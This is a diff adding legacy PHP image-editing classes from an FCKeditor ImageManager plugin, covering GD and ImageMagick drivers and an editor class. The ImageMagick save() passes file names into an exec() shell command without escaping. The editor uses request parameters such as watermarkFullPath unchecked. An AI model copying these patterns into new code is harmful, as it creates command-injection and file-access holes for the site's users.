+//    $img->load('magick.png');
+//
+//    if($img->rotate($angle,array('autoresize'=>true,'color_mask'=>array(255,0,0)))){
+//        $img->addText(array('text'=>"Rotation $angle",'x'=>0,'y'=>100,'font'=>'/usr/share/fonts/default/TrueType/cogb____.ttf'));
+//        $img->display();
+//    } else {
+//        echo "Error";
+//    }
+//
+//
+// $Id: GD.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+//
+// Image Transformation interface using the GD library
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_GD extends Image_Transform
+{
+    /**
+     * Holds the image file for manipulation
+     */
+    var $imageHandle = '';
+
+    /**
+     * Holds the original image file
+     */
+    var $old_image = '';
+
+    /**
+     * Check settings
+     *
+     * @return mixed true or  or a PEAR error object on error
+     *
+     * @see PEAR::isError()
+     */
+    function Image_Transform_GD()
+    {
+        return;
+    } // End function Image
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+        $this->image = $image;
+        $this->_get_image_details($image);
+        $functionName = 'ImageCreateFrom' . $this->type;
+               if(function_exists($functionName))
+               {
+                       $this->imageHandle = $functionName($this->image);
+               }
+    } // End load
+
+    /**
+     * addText
+     *
+     * @param   array   options     Array contains options
+     *                              array(
+     *                                  'text'  The string to draw
+     *                                  'x'     Horizontal position
+     *                                  'y'     Vertical Position
+     *                                  'Color' Font color
+     *                                  'font'  Font to be used
+     *                                  'size'  Size of the fonts in pixel
+     *                                  'resize_first'  Tell if the image has to be resized
+     *                                                  before drawing the text
+     *                              )
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function addText($params)
+    {
+        $default_params = array(
+                                'text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => array(255,0,0),
+                                'font' => 'Arial.ttf',
+                                'size' => '12',
+                                'angle' => 0,
+                                'resize_first' => false // Carry out the scaling of the image before annotation?  Not used for GD
+                                );
+        $params = array_merge($default_params, $params);
+        extract($params);
+
+        if( !is_array($color) ){
+            if ($color[0]=='#'){
+                $this->colorhex2colorarray( $color );
+            } else {
+                include_once('Image/Transform/Driver/ColorsDefs.php');
+                $color = isset($colornames[$color])?$colornames[$color]:false;
+            }
+        }
+
+        $c = imagecolorresolve ($this->imageHandle, $color[0], $color[1], $color[2]);
+
+        if ('ttf' == substr($font, -3)) {
+            ImageTTFText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+        } else {
+            ImagePSText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+        }
+        return true;
+    } // End addText
+
+
+    /**
+     * Rotate image by the given angle
+     * Uses a fast rotation algorythm for custom angles
+     * or lines copy for multiple of 90 degrees
+     *
+     * @param int       $angle      Rotation angle
+     * @param array     $options    array(  'autoresize'=>true|false,
+     *                                      'color_mask'=>array(r,g,b), named color or #rrggbb
+     *                                   )
+     * @author Pierre-Alain Joye
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function rotate($angle, $options=null)
+    {
+        if(function_exists('imagerotate') && false) {
+            $white = imagecolorallocate ($this->imageHandle, 255, 255, 255);
+                       $this->imageHandle = imagerotate($this->imageHandle, $angle, $white);
+            return true;
+        }
+
+        if ( $options==null ){
+            $autoresize = true;
+            $color_mask = array(255,255,0);
+        } else {
+            extract( $options );
+        }
+
+        while ($angle <= -45) {
+            $angle  += 360;
+        }
+        while ($angle > 270) {
+            $angle  -= 360;
+        }
+
+        $t      = deg2rad($angle);
+
+        if( !is_array($color_mask) ){
+            if ($color[0]=='#'){
+                $this->colorhex2colorarray( $color_mask );
+            } else {
+                include_once('Image/Transform/Driver/ColorDefs.php');
+                $color = isset($colornames[$color_mask])?$colornames[$color_mask]:false;
+            }
+        }
+
+        // Do not round it, too much lost of quality
+        $cosT   = cos($t);
+        $sinT   = sin($t);
+
+        $img    =& $this->imageHandle;
+
+        $width  = $max_x  = $this->img_x;
+        $height = $max_y  = $this->img_y;
+        $min_y  = 0;
+        $min_x  = 0;
+
+        $x1     = round($max_x/2,0);
+        $y1     = round($max_y/2,0);
+
+        if ( $autoresize ){
+            $t      = abs($t);
+            $a      = round($angle,0);
+            switch((int)($angle)){
+                case 0:
+                        $width2     = $width;
+                        $height2    = $height;
+                    break;
+                case 90:
+                        $width2     = $height;
+                        $height2    = $width;
+                    break;
+                case 180:
+                        $width2     = $width;
+                        $height2    = $height;
+                    break;
+                case 270:
+                        $width2     = $height;
+                        $height2    = $width;
+                    break;
+                default:
+                    $width2     = (int)(abs(sin($t) * $height + cos($t) * $width));
+                    $height2    = (int)(abs(cos($t) * $height+sin($t) * $width));
+            }
+
+            $width2     -= $width2%2;
+            $height2    -= $height2%2;
+
+            $d_width    = abs($width - $width2);
+            $d_height   = abs($height - $height2);
+            $x_offset   = $d_width/2;
+            $y_offset   = $d_height/2;
+            $min_x2     = -abs($x_offset);
+            $min_y2     = -abs($y_offset);
+            $max_x2     = $width2;
+            $max_y2     = $height2;
+        }
+
+        if(function_exists('ImageCreateTrueColor')){
+            $img2 =ImageCreateTrueColor($width2,$height2);
+        } else {
+            $img2 =ImageCreate($width2,$height2);
+        }
+       
+
+        if ( !is_resource($img2) ){
+            return false;/*PEAR::raiseError('Cannot create buffer for the rotataion.',
+                                null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+        }
+
+        $this->img_x = $width2;
+        $this->img_y = $height2;
+
+
+        imagepalettecopy($img2,$img);
+
+        $mask   = imagecolorresolve($img2,$color_mask[0],$color_mask[1],$color_mask[2]);
+
+        // use simple lines copy for axes angles
+        switch((int)($angle)){
+            case 0:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $min_x; $x < $max_x; $x++){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+                    }
+                }
+                break;
+            case 90:
+                imagefill ($img2, 0, 0,$mask);
+                for ($x = $min_x; $x < $max_x; $x++){
+                    for ($y=$min_y; $y < $max_y; $y++) {
+                        $c  = imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$max_y-$y-1,$x,$c);
+                    }
+                }
+                break;
+            case 180:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $min_x; $x < $max_x; $x++){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2, $max_x2-$x-1, $max_y2-$y-1, $c);
+                    }
+                }
+                break;
+            case 270:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $max_x; $x >= $min_x; $x--){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$y,$max_x-$x-1,$c);
+                    }
+                }
+                break;
+            // simple reverse rotation algo
+            default:
+                $i=0;
+                for ($y = $min_y2; $y < $max_y2; $y++){
+
+                    // Algebra :)
+                    $x2 = round((($min_x2-$x1) * $cosT) + (($y-$y1) * $sinT + $x1),0);
+                    $y2 = round((($y-$y1) * $cosT - ($min_x2-$x1) * $sinT + $y1),0);
+
+                    for ($x = $min_x2; $x < $max_x2; $x++){
+
+                        // Check if we are out of original bounces, if we are
+                        // use the default color mask
+                        if ( $x2>=0 && $x2<$max_x && $y2>=0 && $y2<$max_y ){
+                            $c  = imagecolorat ( $img, $x2, $y2);
+                        } else {
+                            $c  = $mask;
+                        }
+                        imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+
+                        // round verboten!
+                        $x2  += $cosT;
+                        $y2  -= $sinT;
+                    }
+                }
+                break;
+        }
+        $this->old_image    = $this->imageHandle;
+        $this->imageHandle  =  $img2;
+        return true;
+    }
+
+
+   /**
+    * Resize Action
+    *
+    * For GD 2.01+ the new copyresampled function is used
+    * It uses a bicubic interpolation algorithm to get far
+    * better result.
+    *
+    * @param $new_x int  new width
+    * @param $new_y int  new height
+    *
+    * @return true on success or pear error
+    * @see PEAR::isError()
+    */
+    function _resize($new_x, $new_y) {
+        if ($this->resized === true) {
+            return false; /*PEAR::raiseError('You have already resized the image without saving it.  Your previous resizing will be overwritten', null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+        }
+        if(function_exists('ImageCreateTrueColor')){
+            $new_img =ImageCreateTrueColor($new_x,$new_y);
+        } else {
+            $new_img =ImageCreate($new_x,$new_y);
+        }
+        if(function_exists('ImageCopyResampled')){
+            ImageCopyResampled($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+        } else {
+            ImageCopyResized($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+        }
+        $this->old_image = $this->imageHandle;
+        $this->imageHandle = $new_img;
+        $this->resized = true;
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+        return true;
+    }
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($new_x, $new_y, $new_width, $new_height) 
+    {
+        if(function_exists('ImageCreateTrueColor')){
+            $new_img =ImageCreateTrueColor($new_width,$new_height);
+        } else {
+            $new_img =ImageCreate($new_width,$new_height);
+        }
+        if(function_exists('ImageCopyResampled')){
+            ImageCopyResampled($new_img, $this->imageHandle, 0, 0, $new_x, $new_y,$new_width,$new_height,$new_width,$new_height);
+        } else {
+            ImageCopyResized($new_img, $this->imageHandle, 0, 0, $new_x, $new_y, $new_width,$new_height,$new_width,$new_height);
+        }
+        $this->old_image = $this->imageHandle;
+        $this->imageHandle = $new_img;
+        $this->resized = true;
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+        return true;
+    }
+   
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal)
+    {
+        if(!$horizontal) {
+            $this->rotate(180);
+        }
+
+        $width = imagesx($this->imageHandle); 
+        $height = imagesy($this->imageHandle); 
+
+        for ($j = 0; $j < $height; $j++) { 
+                $left = 0; 
+                $right = $width-1; 
+
+
+                while ($left < $right) { 
+                    //echo " j:".$j." l:".$left." r:".$right."\n<br>";
+                    $t = imagecolorat($this->imageHandle, $left, $j); 
+                    imagesetpixel($this->imageHandle, $left, $j, imagecolorat($this->imageHandle, $right, $j)); 
+                    imagesetpixel($this->imageHandle, $right, $j, $t); 
+                    $left++; $right--; 
+                } 
+            
+        }
+
+        return true;
+    }
+
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma=1.0) {
+        ImageGammaCorrect($this->imageHandle, 1.0, $outputgamma);
+    }
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string  the name of the file to write to
+     * @param $quality  int     output DPI, default is 85
+     * @param $types    string  define the output format, default
+     *                          is the current used format
+     *
+     * @return none
+     */
+    function save($filename, $type = '', $quality = 85)
+    {
+               $type           = $type==''? $this->type : $type;
+               $functionName   = 'image' . $type;
+
+               if(function_exists($functionName))
+               {
+                       $this->old_image = $this->imageHandle;
+                       if($type=='jpeg')
+                               $functionName($this->imageHandle, $filename, $quality);
+                       else
+                               $functionName($this->imageHandle, $filename);
+                       $this->imageHandle = $this->old_image;
+                       $this->resized = false;
+               }
+    } // End save
+
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string type (JPG,PNG...);
+     * @param int quality 75
+     *
+     * @return none
+     */
+    function display($type = '', $quality = 75)
+    {
+        if ($type != '') {
+            $this->type = $type;
+        }
+        $functionName = 'Image' . $this->type;
+               if(function_exists($functionName))
+               {
+                       header('Content-type: image/' . strtolower($this->type));
+                       $functionName($this->imageHandle, '', $quality);
+                       $this->imageHandle = $this->old_image;
+                       $this->resized = false;
+                       ImageDestroy($this->old_image);
+                       $this->free();
+               }
+    }
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        if ($this->imageHandle){
+            ImageDestroy($this->imageHandle);
+        }
+    }
+
+} // End class ImageGD
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/IM.php b/fckeditor/editor/plugins/ImageManager/Classes/IM.php
new file mode 100755 (executable)
index 0000000..4603594
--- /dev/null
@@ -0,0 +1,253 @@
+<?php
+
+/***********************************************************************
+** Title.........:  ImageMagick Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  IM.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// +----------------------------------------------------------------------+
+//
+// $Id: IM.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+//
+// Image Transformation interface using command line ImageMagick
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_IM extends Image_Transform
+{
+    /**
+     * associative array commands to be executed
+     * @var array
+     */
+    var $command = array();
+
+    /**
+     *
+     *
+     */
+    function Image_Transform_Driver_IM()
+    {
+        return true;
+    } // End Image_IM
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+        /*if (!file_exists($image)) {
+            return PEAR::raiseError('The image file ' . $image . ' does\'t exist', true);
+        }*/
+        $this->image = $image;
+        $this->_get_image_details($image);
+    } // End load
+
+    /**
+     * Resize Action
+     *
+     * @param int   new_x   new width
+     * @param int   new_y   new height
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function _resize($new_x, $new_y)
+    {
+               // prevent illegal data
+               if (!is_numeric($new_x)) die("new X must be numeric");
+               if (!is_numeric($new_y)) die("new Y must be numeric");
+
+        /*if (isset($this->command['resize'])) {
+            return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+        }*/
+        $this->command['resize'] = "-geometry {$new_x}x{$new_y}!";
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+    } // End resize
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+    {
+               if (!is_numeric($crop_x)) die("crop_x must be numeric");
+               if (!is_numeric($crop_y)) die("crop_y must be numeric");
+               if (!is_numeric($crop_width)) die("crop_width must be numeric");
+               if (!is_numeric($crop_height)) die("crop_height must be numeric");
+        $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+    }
+
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal) 
+    {
+        if($horizontal)
+            $this->command['flop'] = "-flop";
+        else
+            $this->command['flip'] = "-flip";
+    }
+    /**
+     * rotate
+     *
+     * @param   int     angle   rotation angle
+     * @param   array   options no option allowed
+     *
+     */
+    function rotate($angle, $options=null)
+    {
+        if (!is_numeric($angle)) die("angle must be numeric");
+        if ('-' == $angle{0}) {
+            $angle = 360 - substr($angle, 1);
+        }
+         $this->command['rotate'] = "-rotate $angle";
+    } // End rotate
+
+    /**
+     * addText
+     *
+     * @param   array   options     Array contains options
+     *                              array(
+     *                                  'text'  The string to draw
+     *                                  'x'     Horizontal position
+     *                                  'y'     Vertical Position
+     *                                  'Color' Font color
+     *                                  'font'  Font to be used
+     *                                  'size'  Size of the fonts in pixel
+     *                                  'resize_first'  Tell if the image has to be resized
+     *                                                  before drawing the text
+     *                              )
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function addText($params)
+    {
+        $default_params = array(
+                                'text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => 'red',
+                                'font' => 'Arial.ttf',
+                                'resize_first' => false // Carry out the scaling of the image before annotation?
+                                );
+         $params = array_merge($default_params, $params);
+         extract($params);
+         if (true === $resize_first) {
+             // Set the key so that this will be the last item in the array
+            $key = 'ztext';
+         } else {
+            $key = 'text';
+         }
+                // test input params
+         if (!is_numeric($x)) die("x must be numeric");
+         if (!is_numeric($y)) die("y must be numeric");
+         // escape others
+         $font = escapeshellarg($font);
+         $color = escapeshellarg($color);
+         $text = escapeshellarg($text);
+         $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+         // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+    } // End addText
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma=1.0) {
+        if (!is_numeric($outputgamma)) die("outputgamma must be numeric");
+        $this->command['gamma'] = "-gamma $outputgamma";
+    }
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string  the name of the file to write to
+     * @param $quality  quality image dpi, default=75
+     * @param $type     string  (JPG,PNG...)
+     *
+     * @return none
+     */
+    function save($filename, $type='', $quality = 85)
+    {
+        if (!is_numeric($quality)) die("quality must be numeric");
+        $type == '' ? $this->type : $type;
+        $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+               $cmd .= implode(' ', $this->command) . " -quality $quality ";
+               $cmd .= '"'.($this->image) . '" "' . ($filename) . '" 2>&1';
+        
+        //$cmd = str_replace('/', '\\', $cmd);
+               //echo($cmd.'<br>');
+        exec($cmd,$retval);
+    } // End save
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string type (JPG,PNG...);
+     * @param int quality 75
+     *
+     * @return none
+     */
+    function display($type = '', $quality = 75)
+    {
+        if (!is_numeric($quality)) die("quality must be numeric");
+        if ($type == '') {
+            header('Content-type: image/' . $this->type);
+            passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+        } else {
+            header('Content-type: image/' . $type);
+            passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($type) . ":-");
+        }
+    }
+
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        return true;
+    }
+
+} // End class ImageIM
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/ImageEditor.php b/fckeditor/editor/plugins/ImageManager/Classes/ImageEditor.php
new file mode 100755 (executable)
index 0000000..ee7c80d
--- /dev/null
@@ -0,0 +1,585 @@
+<?php
+/**
+ * Image Editor. Editing tools, crop, rotate, scale and save.
+ * @author Wei Zhuo
+ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('Transform.php');
+
+/**
+ * Handles the basic image editing capbabilities.
+ * @author Wei Zhuo
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ * @subpackage Editor
+ */
+class ImageEditor 
+{
+       /**
+        * ImageManager instance.
+        */
+       var $manager;
+
+       /**
+        * user based on IP address
+        */
+       var $_uid;
+
+       /**
+        * tmp file storage time.
+        */
+       var $lapse_time =900; //15 mins
+
+       var $filesaved = 0;
+
+       /**
+        * Create a new ImageEditor instance. Editing requires a 
+        * tmp file, which is saved in the current directory where the
+        * image is edited. The tmp file is assigned by md5 hash of the
+        * user IP address. This hashed is used as an ID for cleaning up
+        * the tmp files. In addition, any tmp files older than the
+        * the specified period will be deleted.
+        * @param ImageManager $manager the image manager, we need this
+        * for some file and path handling functions.
+        */
+       function ImageEditor($manager) 
+       {
+               $this->manager = $manager;
+               $this->_uid = md5($_SERVER['REMOTE_ADDR']);
+       }
+       
+       /**
+        * Did we save a file?
+        * @return int 1 if the file was saved sucessfully, 
+        * 0 no save operation, -1 file save error.
+        */
+       function isFileSaved() 
+       {
+               Return $this->filesaved;
+       }
+
+       /**
+        * Process the image, if not action, just display the image.
+        * @return array with image information, empty array if not an image.
+        * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+        * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+        */
+       function processImage($uploadedRelative)
+       {
+               if (isset($uploadedRelative) && $uploadedRelative != "")
+               {
+                       $relative = $uploadedRelative;
+               }
+               elseif(isset($_GET['img']))
+               {
+                       $relative = rawurldecode($_GET['img']);
+               }
+               else
+               {
+                       Return array();
+               }
+
+               $imgURL = $this->manager->getFileURL($relative);
+               $fullpath = $this->manager->getFullPath($relative);
+               
+               $imgInfo = @getImageSize($fullpath);
+               if(!is_array($imgInfo))
+                       Return array();
+
+               $action = $this->getAction();
+
+               if(!is_null($action))
+               {
+                       $image = $this->processAction($action, $relative, $fullpath);
+               }
+               else
+               {
+                       $image['src'] = $imgURL;
+                       $image['dimensions'] = $imgInfo[3];
+                       $image['width'] = $imgInfo[0];
+                       $image['height'] = $imgInfo[1];
+                       $image['file'] = $relative;
+                       $image['fullpath'] = $fullpath;
+               }
+
+               Return $image;
+       }
+
+
+       /**
+        * Process the actions, crop, scale(resize), rotate, flip, and save.
+        * When ever an action is performed, the result is save into a
+        * temporary image file, see createUnique on the filename specs.
+        * It does not return the saved file, alway returning the tmp file.
+        * @param string $action, should be 'crop', 'scale', 'rotate','flip', or 'save'
+        * @param string $relative the relative image filename
+        * @param string $fullpath the fullpath to the image file
+        * @return array with image information
+        * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+        * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+        */
+       function processAction($action, $relative, $fullpath) 
+       {
+               $params = '';
+
+               if(isset($_GET['params']))
+                       $params = $_GET['params'];
+
+               $values =  explode(',',$params,4);
+               $saveFile = $this->getSaveFileName($values[0]);
+
+               $img = Image_Transform::factory(IMAGE_CLASS);
+               $img->load($fullpath);
+
+               switch ($action) 
+               {
+                       case 'replace':
+
+                               // 'ImageManager.php' handled the uploaded file, it's now on the server.
+                               // If maximum size is specified, constrain image to it.
+                               if ($this->manager->config['maxWidth'] > 0 && $this->manager->config['maxHeight'] > 0 && ($img->img_x > $this->manager->config['maxWidth'] || $img->img_y > $this->manager->config['maxHeight']))
+                               {
+                                       $percentage = min($this->manager->config['maxWidth']/$img->img_x, $this->manager->config['maxHeight']/$img->img_y);
+                                       $img->scale($percentage);
+                               }
+
+                               break;
+
+                       case 'watermark':
+
+                                       // loading target image
+                                       $functionName = 'ImageCreateFrom' . $img->type;
+                                       if(function_exists($functionName))
+                                       {
+                                               $imageResource = $functionName($fullpath);
+                                       }
+                                       else
+                                       {
+                                               echo "<script>alert(\"Error when loading '" . basename($fullpath) . "' - Loading '" . $img->type . "' files not supported\");</script>";
+                                               return false;
+                                       }
+
+                                       // loading watermark
+                                       $watermarkFullPath = $_GET['watermarkFullPath'];
+                                       $watermarkImageType = strtolower(substr($watermarkFullPath, strrpos($watermarkFullPath, ".") + 1));
+                                       if ($watermarkImageType == "jpg") { $watermarkImageType = "jpeg"; }
+                                       if ($watermarkImageType == "tif") { $watermarkImageType = "tiff"; }
+                                       $functionName = 'ImageCreateFrom' . $watermarkImageType;
+                                       if(function_exists($functionName))
+                                       {
+                                               $watermarkResource = $functionName($watermarkFullPath);
+                                       }
+                                       else
+                                       {
+                                               echo "<script>alert(\"Error when loading '" . basename($watermarkFullPath) . "' - Loading '" . $img->type . "' files not supported\");</script>";
+                                               return false;
+                                       }
+
+                                       $numberOfColors = imagecolorstotal($watermarkResource);
+
+                                       $watermarkX = isset($_GET['watermarkX']) ? $_GET['watermarkX'] : -1;
+                                       $watermarkY = isset($_GET['watermarkY']) ? $_GET['watermarkY'] : -1;
+                                       $opacity = $_GET['opacity'];
+
+                                       // PNG24 watermark on GIF target needs special handling
+                                       // PNG24 watermark with alpha transparency on other targets need also this handling
+                                       if ($watermarkImageType == "png" && $numberOfColors == 0 && ($img->type == "gif" || $opacity < 100))
+                                       {
+                                               require_once('Classes/api.watermark.php');
+
+                                               $watermarkAPI = new watermark();
+                                               $imageResource = $watermarkAPI->create_watermark($imageResource, $watermarkResource, $opacity, $watermarkX, $watermarkY);
+                                       }
+                                       // PNG24 watermark without alpha transparency on other targets than GIF can use 'imagecopy'
+                                       elseif ($watermarkImageType == "png" && $numberOfColors == 0 && $opacity == 100)
+                                       {
+                                               $watermark_width = imagesx($watermarkResource);
+                                               $watermark_height = imagesy($watermarkResource);
+
+                                               imagecopy($imageResource, $watermarkResource, $watermarkX, $watermarkY, 0, 0, $watermark_width, $watermark_height);
+                                       }
+                                       // Other watermarks can be appllied no swet on all targets
+                                       else
+                                       {
+                                               $watermark_width = imagesx($watermarkResource);
+                                               $watermark_height = imagesy($watermarkResource);
+
+                                               imagecopymerge($imageResource, $watermarkResource, $watermarkX, $watermarkY, 0, 0, $watermark_width, $watermark_height, $opacity);
+                                       }
+
+                               break;
+
+                       case 'crop':
+                               $img->crop(intval($values[0]),intval($values[1]),
+                                                       intval($values[2]),intval($values[3]));
+                               break;
+                       case 'scale':
+                               $img->resize(intval($values[0]),intval($values[1]));
+                               break;
+                       case 'rotate':
+                               $img->rotate(floatval($values[0]));
+                               break;
+                       case 'flip':
+                               if ($values[0] == 'hoz')
+                                       $img->flip(true);
+                               else if($values[0] == 'ver') 
+                                       $img->flip(false);
+                               break;
+                       case 'save':
+                               if(!is_null($saveFile))
+                               {
+                                       $quality = intval($values[1]);
+                           if($quality <0) $quality = 85;
+                                       $newSaveFile = $this->makeRelative($relative, $saveFile);
+                                       $oldSaveFile = $newSaveFile;
+
+                                       if ($this->manager->config['allow_newFileName'] && $this->manager->config['allow_overwrite'] == false)
+                                       {
+                                               // check whether a file already exist and if there is, create a variant of the filename
+                                               $newName = $this->getUniqueFilename($newSaveFile);
+                                               //get unique filename just returns the filename, so
+                                               //we need to make the relative path again.
+                                               $newSaveFile = $this->makeRelative($relative, $newName);
+                                       }
+
+                                       // forced new name?
+                                       if ($oldSaveFile != $newSaveFile)
+                                       {
+                                               $this->forcedNewName = $newName;
+                                       }
+                                       else
+                                       {
+                                               $this->forcedNewName = false;
+                                       }
+                                               
+                                       $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+                                       $img->save($newSaveFullpath, $values[0], $quality);
+                                       if(is_file($newSaveFullpath))
+                                               $this->filesaved = 1;
+                                       else
+                                               $this->filesaved = -1;
+                               }
+                               break;
+               }
+               
+               //create the tmp image file
+               $filename = $this->createUnique($fullpath);
+               $newRelative = $this->makeRelative($relative, $filename);
+               $newFullpath = $this->manager->getFullPath($newRelative);
+               $newURL = $this->manager->getFileURL($newRelative);
+
+               // when uploaded and not resized, rename and don't save
+               if ($action == "replace" && $percentage <= 0)
+               {
+                       rename($fullpath, $newFullpath);
+               }
+               // when watermarked, save to new filename
+               elseif ($action == "watermark")
+               {
+                       // save image
+                       $functionName   = 'image' . $img->type;
+                       if(function_exists($functionName))
+                       {
+                               if($type=='jpeg')
+                                       $functionName($imageResource, $newFullpath, 100);
+                               else
+                                       $functionName($imageResource, $newFullpath);
+                       }
+                       else
+                       {
+                               echo "<script>alert(\"Error when saving '" . basename($newFullpath) . "' - Saving '" . $img->type . "' files not supported\");</script>";
+                               return false;
+                       }
+               }
+               else
+               {
+                       //save the file.
+                       $img->save($newFullpath);
+                       $img->free();
+               }
+
+               // when uploaded was resized and saved, remove original
+               if ($action == "replace" && $percentage > 0)
+               {
+                       unlink($fullpath);
+               }
+
+               //get the image information
+               $imgInfo = @getimagesize($newFullpath);
+
+               $image['src'] = $newURL;
+               $image['dimensions'] = $imgInfo[3];
+               $image['width'] = $imgInfo[0];
+               $image['height'] = $imgInfo[1];
+               $image['file'] = $newRelative;
+               $image['fullpath'] = $newFullpath;
+
+
+               Return $image;
+       
+       }
+
+
+
+       /**
+        * Get the file name base on the save name
+        * and the save type.
+        * @param string $type image type, 'jpeg', 'png', or 'gif'
+        * @return string the filename according to save type
+        */
+       function getSaveFileName($type) 
+       {
+               if(!isset($_GET['file']))
+                       Return null;
+
+               $filename = Files::escape(rawurldecode($_GET['file']));
+               $index = strrpos($filename,'.');
+               $base = substr($filename,0,$index);
+               $ext = strtolower(substr($filename,$index+1,strlen($filename)));
+
+               if($type == 'jpeg' && !($ext=='jpeg' || $ext=='jpg'))
+               {
+                       Return $base.'.jpeg';
+               }
+               if($type=='png' && $ext != 'png')
+                       Return $base.'.png';
+               if($type=='gif' && $ext != 'gif')
+                       Return $base.'.gif';
+
+               Return $filename;
+       }
+
+       /**
+        * Get the default save file name, used by editor.php.
+        * @return string a suggestive filename, this should be unique
+        */
+       function getDefaultSaveFile() 
+       {
+               if(isset($_GET['img']))
+                       $relative = rawurldecode($_GET['img']);
+               else
+                       Return null;
+
+               Return $this->getUniqueFilename($relative);
+       }
+
+       /**
+        * Get a unique filename. If the file exists, the filename
